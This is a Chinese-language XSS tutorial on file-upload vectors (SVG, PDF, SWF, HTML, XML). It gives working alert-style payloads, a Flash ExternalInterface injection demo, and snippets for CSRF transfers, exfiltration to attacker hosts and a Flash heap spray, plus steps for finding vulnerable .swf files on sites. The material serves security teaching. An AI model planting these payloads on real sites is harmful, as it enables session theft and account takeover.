XSS之文件类型触发型XSS

admin 2025年7月9日23:50:00评论1 views字数 7486阅读24分57秒阅读模式

免责声明

本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

SVG型XSS

  • SVG(Scalable Vector Graphics,可缩放矢量图形)是一种基于XML的矢量图形格式,广泛用于网页设计和数据可视化。由于SVG文件支持内嵌JavaScript代码,因此如果处理不当,可能会引发XSS(跨站脚本)攻击

  • 攻击原理:SVG文件可以通过 <script> 标签直接嵌入JavaScript代码。当浏览器加载SVG文件时,这些代码可能会被执行,从而导致XSS攻击SVG(可缩放矢量图形)文件本质上是XML文档)

  • 触发方式:

    • 直接加载SVG文件:如果SVG文件被直接加载到浏览器中(例如通过 <img> 标签或直接在浏览器中打开SVG文件),嵌入的脚本可能会被执行

    • 通过HTML标签加载:如果SVG文件被嵌入到HTML页面中(例如通过 <object> 或 <embed> 标签),嵌入的脚本也可能会被执行

  • 利用场景:

    • 用户头像上传:

      • 允许上传SVG作为头像

      • 当其他用户查看资料时执行恶意脚本

    • 文件共享服务:

      • 上传恶意SVG文件

      • 当用户预览文件时触发攻击

    • 图标/图标库:

      • 注入恶意代码到SVG图标中

      • 当网站使用该图标时触发攻击

    • CMS模板:

      • 在SVG模板中注入恶意代码

      • 影响所有使用该模板的页面

**************直接脚本注入**************<svgxmlns="http://www.w3.org/2000/svg"version="1.1"><circlecx="100"cy="50"r="40"stroke="black"stroke-width="2"fill="red"/><script>alert(1)</script></svg>**************直接脚本注入****************************事件处理程序触发**************<svgxmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)">  <rectwidth="100"height="100"fill="blue"/></svg>**************外部资源引用**************<svgxmlns="http://www.w3.org/2000/svg">  <image    href="non-existent-image.jpg"     onerror="alert('XSS via onerror!')"    width="100%"    height="100%"  /></svg>**************外部资源引用**************

实操:

比如目标网站允许上传svg格式文件,之后制作一个xss.svg格式的文件

XSS之文件类型触发型XSS

把xss.svg格式的文件上传到目标系统中,打开后弹窗

XSS之文件类型触发型XSS

PDF型XSS

  • PDF型XSS是一种利用PDF文档内嵌JavaScript功能在受害者浏览器环境中执行恶意脚本的攻击

  • 触发场景:

    • 直接渲染漏洞:浏览器内置PDF解析器(如Chrome)未过滤脚本标签,导致嵌入的<script>被执行

    • 外部资源引用:通过/EmbeddedFile引用外部恶意JS,或篡改PDF内嵌资源(如字体、图片)

    • 表单与注释字段注入:PDF表单字段(如表单提交按钮)可绑定恶意JS事件

  • 利用场景:

    • 文件上传+在线预览场景(最常见):攻击者将恶意PDF上传至支持在线预览功能的网站(如论坛、文档共享平台、企业内网系统)→ 用户访问该PDF预览页 → 内嵌JS在浏览器PDF渲染环境中执行

      • 技术依赖:

        • 网站使用浏览器内置渲染器(如Chrome PDFium、PDF.js未禁用JS)

        • PDF包含app.alert()等Adobe JS API调用(例如通过PyPDF2注入output_pdf.add_js("app.alert('XSS');"))

      • 风险后果:窃取当前域名Cookie、劫持会话、钓鱼跳转(如伪造登录页)

    • PDF嵌入网页攻击:恶意PDF通过<object>或<iframe>嵌入第三方网页(例如:<object data="malicious.pdf" type="application/pdf">)→ 用户访问该网页 → PDF内JS以宿主域名权限执行

      • 技术依赖:

        • 网站允许用户控制嵌入内容(如自定义页面模块)

        • 未对PDF来源做同源策略隔离

      • 风险后果:绕过CSP限制,直接操作宿主页面DOM(例如篡改页面内容、窃取表单数据)

    • 钓鱼邮件+附件预览:攻击者发送含恶意PDF附件的钓鱼邮件 → 用户使用邮件客户端(如Outlook Web)或Web邮箱的“附件预览”功能打开PDF → JS自动执行

      • 技术依赖:

        • 邮件系统启用PDF预览且使用易受攻击的渲染引擎(如旧版Adobe插件)

        • 用户未下载至本地用独立阅读器打开

      • 风险后果:窃取邮箱凭证、传播横向钓鱼、触发后续漏洞利用链(如结合RCE漏洞)

    • 云存储/网盘服务漏洞:用户将恶意PDF上传至云盘(如Google Drive、企业私有云)→ 使用服务的“在线预览”功能 → JS在云服务域名下执行

      • 技术依赖:

        • 云服务未清洗PDF中的JS动作(如未移除/OpenAction、/AA字典)

        • 预览服务使用浏览器内核渲染

      • 风险后果:以云服务用户身份发起API请求(如读取私有文件列表)、窃取OAuth令牌

    • 结合CSRF的复合攻击:恶意PDF中嵌入JS发起跨域请求(如fetch('https://bank.com/transfer?to=attacker&amount=10000')) → 用户预览PDF时自动触发转账操作

      • 技术依赖:

        • 目标接口未校验CSRF Token 

        • 用户会话处于登录状态

      • 风险后果:模拟用户执行敏感操作(转账、改密、添加管理员),造成业务逻辑型漏洞

实操:

这里使用的是迅捷PDF编辑器试用版

1、创建PDF,加入动作JS

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

存在限制:

  • PDF工具直接打开:可能不会执行Javascript代码(部分PDF工具可能会执行Javascript代码,如Adobe Acrobat软件就会执行Javascript代码)
XSS之文件类型触发型XSS
  • 浏览器直接打开:会执行Javascript代码
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

2、通过文件上传获取直链(就是把文件上传到目标服务器)

3、直链地址访问后被触发

XSS之文件类型触发型XSS

SWF型XSS

  • SWF型XSS(Flash XSS)是一种利用Adobe Flash文件(.swf)实现跨站脚本攻击的安全漏洞,攻击者通过注入恶意脚本操控浏览器行为

  • 常见的可触发xss的危险函数:

    • 高风险函数(直接执行JS):

      • ExternalInterface.call():

        • 功能:ActionScript与JavaScript通信的核心接口,用于调用网页中的JS函数

        • 危险性:若第一个参数(JS函数名)或参数值未过滤,攻击者可注入任意JS代码(如ExternalInterface.call("eval", "alert(document.cookie)"))

      • getURL():

        • 功能:跳转至指定URL或执行JS伪协议(如javascript:)

        • 危险性:直接执行javascript:协议内容(如getURL("javascript:alert(document.domain)")),绕过同源策略

      • navigateToURL():

        • 功能:通过URLRequest对象实现页面跳转或JS执行

        • 危险性:类似getURL,但支持更复杂的请求。若未校验URL协议,可执行恶意JS

    • 中风险函数(间接触发XSS):

      • loadVariables():

        • 功能:从外部源(如URL参数、flashvars)加载数据并解析为ActionScript变量

        • 危险性:若输入未过滤,攻击者通过flashvars注入恶意字符串(如param=<img src=x onerror=alert(1)>),后续拼接至HTML或JS时触发XSS

      • htmlText(TextField属性):

        • 功能:渲染HTML格式文本到Flash文本框

        • 危险性:

          若内容包含未编码的HTML标签或JS事件(如<a href="javascript:alert(1)">click</a>),解析时执行恶意脚本

      • ASfunction:伪协议:

        • 功能:在Flash文本中触发ActionScript函数

        • 危险性:结合htmlText可构造点击事件执行危险操作(如<a href="ASfunction:alert,1">XSS</a>)

    • 底层函数(组合利用触发XSS):

      • Loader.load():

        • 功能:动态加载子SWF模块

        • 危险性:加载恶意子SWF绕过主文件安全校验,子模块调用ExternalInterface.call()触发XSS

      • URLLoader.load():

        • 功能:加载外部数据(如XML、文本)

        • 危险性:配合宽松crossdomain.xml(如<allow-access-from domain="*"/>),窃取跨域数据并通过ExternalInterface外传

      • SharedObject.getLocal():

        • 功能:读写本地共享对象(LSO,类似Cookie)

        • 危险性:存储污染数据(如恶意JS字符串),后续被读取并注入DOM触发XSS

  • loadMovie():

    • 功能:在 ActionScript 中,loadMovie 函数用于加载一个外部 SWF 文件到当前 Flash 文件中

    • 危险性:如果攻击者可以控制加载的 SWF 文件路径,他们可以上传或引用包含恶意代码的 SWF 文件,从而在目标页面中执行恶意脚本

XSS之文件类型触发型XSS
  • 利用场景:

    • 用户上传+在线播放场景(最常见):

      • 攻击路径:

        • 论坛/博客平台允许用户上传SWF文件 → 攻击者上传含ExternalInterface.call("eval", "恶意JS")的SWF

        • 其他用户访问该页面自动触发XSS

      • 技术依赖:

// 恶意SWF代码片段if (ExternalInterface.available) {  ExternalInterface.call("eval""alert(document.cookie)");}
    • 钓鱼邮件附件攻击:

      • 攻击路径:攻击者发送钓鱼邮件携带恶意SWF附件 → 用户使用邮件客户端预览功能打开 → 触发XSS

      • 技术特点:

        • 利用Outlook Web等客户端预览机制执行SWF内嵌脚本

        • 结合社会工程(如伪装为“订单确认.swf”)

      • 危害:窃取邮箱凭证、获取用户通讯录

    • 恶意广告植入(Malvertising):

      • 攻击路径:

        • 攻击者购买广告位注入恶意SWF代码

<object data="//attacker.com/ads/banner.swf?param=javascript:alert(1)">  
        • 用户访问含该广告的页面 → SWF解析param参数触发XSS

      • 技术依赖:广告平台未对SWF的flashvars参数做安全审核

    • 结合CSRF的复合攻击:

      • 攻击路径:

        • 恶意SWF通过URLLoader读取宽松跨域策略的接口数据

        • 使用ExternalInterface将窃取的数据外传

// 跨域窃取数据示例var loader:URLLoader = new URLLoader();loader.load(new URLRequest("https://bank.com/userinfo"));loader.addEventListener(Event.COMPLETE(e:Event) => {  var data:String = e.target.data;  ExternalInterface.call("postToAttacker", data); // 外传至攻击者服务器});
      • 依赖条件:目标站点存在错误crossdomain.xml配置

<cross-domain-policy>  <allow-access-fromdomain="*"/> <!-- 致命错误! --></cross-domain-policy>
    • 企业内网渗透:

      • 攻击路径:

        • 攻击者构造SWF文件利用内网系统信任关系

        • 通过SharedObject.getLocal()读取本地缓存敏感数据

        • 注入恶意JS扫描内网资源

// 内网扫描示例ExternalInterface.call(  "fetch('http://192.168.1.1/admin', {credentials: 'include'})"  .then(res => res.text())  .then(data => { /* 外传数据 */ }));
      • 典型目标:OA系统、旧版ERP等未更新Flash策略的内部应用

    • 浏览器插件漏洞利用:

      • 攻击路径:

        • 利用Flash插件漏洞(如CVE-2015-5119)绕过沙箱

        • 执行系统级恶意代码

// 经典漏洞利用链(Heap Spray)var shellcode:ByteArray = new ByteArray();shellcode.writeBytes(生成恶意字节码);var exploit:Vector.<uint> = new Vector.<uint>(0x1000);for (var i:int = 0; i < exploit.length; i++) {  exploit[i] = 0x0c0c0c0c// 堆喷占位}
      • 影响范围:未更新补丁的Adobe Flash Player < 18.0.0.324

安装所需工具:

安装Adobe Flash Professional CS6:

Adobe Flash Professional CS6 下载:http://www.downza.cn/soft/27510.html

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

以管理员身份运行就可以正常打开了

XSS之文件类型触发型XSS

制作swf-xss文件:

1、新建swf文件

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

2F9进入代码区域

XSS之文件类型触发型XSS

3、属性发布设置解析

//取m参数var m=_root.m;//调用html中Javascript中的m参数值flash.external.ExternalInterface.call(m);
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

.swf运行需要安装flag中心工具:https://www.flash.cn/

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

触发:?m=alert(/xss/)

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

swf反编译工具:

JPEXS Free Flash Decompiler

下载地址:https://github.com/jindrapetrik/jpexs-decompiler

XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

如何寻找.swf漏洞?(比如4399小游戏,肯定有.swf文件

  • 比如使用搜索引擎搜索phpwind(phpwind只是某一个模板,只要是存在.swf文件,都可以去尝试下载-->反编译-->分析代码-->利用)
XSS之文件类型触发型XSS
  • 之后尝试输入/images/uploader.swf
    • /images/uploader.swf:爬虫、网站扫描、加载资源里面flash播放时自动抓取的
XSS之文件类型触发型XSS

如何测试swf文件xss安全性:

  • 反编译swf文件
XSS之文件类型触发型XSS
  • 查找触发危险函数
    • 常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等
XSS之文件类型触发型XSS
  • 找可控参数访问触发
    • jsobject=alert(1)
XSS之文件类型触发型XSS
XSS之文件类型触发型XSS

总结:

  • 上传swf文件可以做xss漏洞
  • 找到目标上存在的swf进行反编译后找xss漏洞

HTML型XSS

  • HTML型XSS(跨站脚本攻击)是最常见且危险的Web安全漏洞之一,攻击者通过注入恶意脚本到HTML文档中,在用户浏览器执行这些脚本,从而窃取信息或执行未授权操作

XSS之文件类型触发型XSS

简单的说:就是单纯在HTML代码中写XSS代码即可

XSS之文件类型触发型XSS

其他:XML格式等

XSS之文件类型触发型XSS
  • XML型XSS是一种特殊类型的跨站脚本攻击,利用XML文档解析特性执行恶意脚本。尽管不如HTML型XSS常见,但在API、Web服务和数据驱动应用中危害严重

**************利用XHTML命名空间**************<?xml version="1.0" encoding="utf-8"?><xhtml:htmlxmlns:xhtml="http://www.w3.org/1999/xhtml">    <xhtml:script>        alert("xss");    </xhtml:script></xhtml:html>**************利用XHTML命名空间****************************利用script标签的namespaceuri**************<html><head></head><body>    <prefix:scriptxmlns:prefix="http://www.w3.org/1999/xhtml">        alert("xss");    </prefix:script></body></html>**************利用script标签的namespaceuri****************************利用svg文件**************<?xml version="1.0" standalone="no"?><!DOCTYPE svgPUBLIC"-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svgversion="1.1"baseprofile="full"xmlns="http://www.w3.org/2000/svg">    <polygonid="triangle"points="0,0 0,50 50,0"fill="#009900"stroke="#004400"/>    <scripttype="text/javascript">        alert("xss");    </script></svg>**************利用svg文件**************
XSS之文件类型触发型XSS

总结

  • 文件上传类XSS挖掘:从安全文件上传到XSS的转换(红队玩法还可以配合钓鱼)

  • 当支持HTML文件上传时,优先使用HTML型XSS,我们不能本末倒置,学习了高级技巧,却忘记了最基础的东西

  • 利用文件上传获取文件访问地址,访问触发(浏览器格式解析问题会导致失效)

  • 文件上传XSS的核心在于信任链的断裂。最有效的攻击往往发生在安全措施的"间隙"中:

    • 当安全团队专注于阻止HTML上传时,利用SVG的"合法图片"身份突破

    • 当防御者关注存储安全时,利用解析器特性触发漏洞

XSS之文件类型触发型XSS

原文始发于微信公众号(一个努力的学渣):XSS之文件类型触发型XSS

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月9日23:50:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS之文件类型触发型XSShttps://cn-sec.com/archives/4225164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息